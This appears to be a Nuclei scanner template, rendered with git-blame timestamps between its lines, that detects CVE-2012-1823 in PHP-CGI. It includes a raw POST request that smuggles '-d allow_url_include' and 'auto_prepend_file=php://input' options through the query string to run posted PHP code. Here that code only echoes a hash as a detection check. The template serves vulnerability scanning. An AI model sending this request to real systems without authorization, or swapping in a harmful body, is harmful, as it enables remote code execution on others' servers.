2021-07-20 09:32:27 +00:00
id : CVE-2012-1823
info :
2022-04-07 13:53:15 +00:00
name : PHP CGI v5.3.12/5.4.2 Remote Code Execution
2021-07-20 09:32:27 +00:00
author : pikpikcu
2023-07-11 19:49:27 +00:00
severity : high
2022-04-22 10:38:41 +00:00
description : |
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to a patched version of PHP or apply the necessary security patches.
2021-08-18 11:37:49 +00:00
reference :
2021-07-20 09:32:27 +00:00
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
2022-05-17 09:18:12 +00:00
- https://bugs.php.net/bug.php?id=61910
- http://www.php.net/ChangeLog-5.php#5.4.2
2023-07-11 19:49:27 +00:00
- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
2022-02-21 18:33:16 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score : 7.5
2022-02-21 18:33:16 +00:00
cve-id : CVE-2012-1823
2023-07-11 19:49:27 +00:00
cwe-id : CWE-20
2023-10-14 11:27:55 +00:00
epss-score : 0.97491
2024-01-14 13:49:27 +00:00
epss-percentile : 0.99972
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : php
product : php
2024-01-14 09:21:50 +00:00
tags : cve,cve2012,kev,vulhub,rce,php
2021-07-20 09:32:27 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-20 09:32:27 +00:00
- raw :
- |
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-06-15 11:32:15 +00:00
<?php echo md5('CVE-2012-1823'); ?>
2021-07-20 09:32:27 +00:00
matchers-condition : and
matchers :
2023-06-15 11:32:15 +00:00
- type : word
part : body
words :
2023-06-15 11:32:49 +00:00
- "3d638155445bffb044eec401381ad784"
2021-07-20 09:32:27 +00:00
- type : status
status :
- 200
2024-01-26 08:31:11 +00:00
# digest: 4b0a0048304602210092b10c72cc1fee8c04f5162308500dd81d910b697076b941eca0df0f5f7b7b96022100c296adc6a0e2ad0ebf4759128a19fb25b155493104267eeaa81f3731eea84fb2:922c64590222798bb761d5b6d8e72950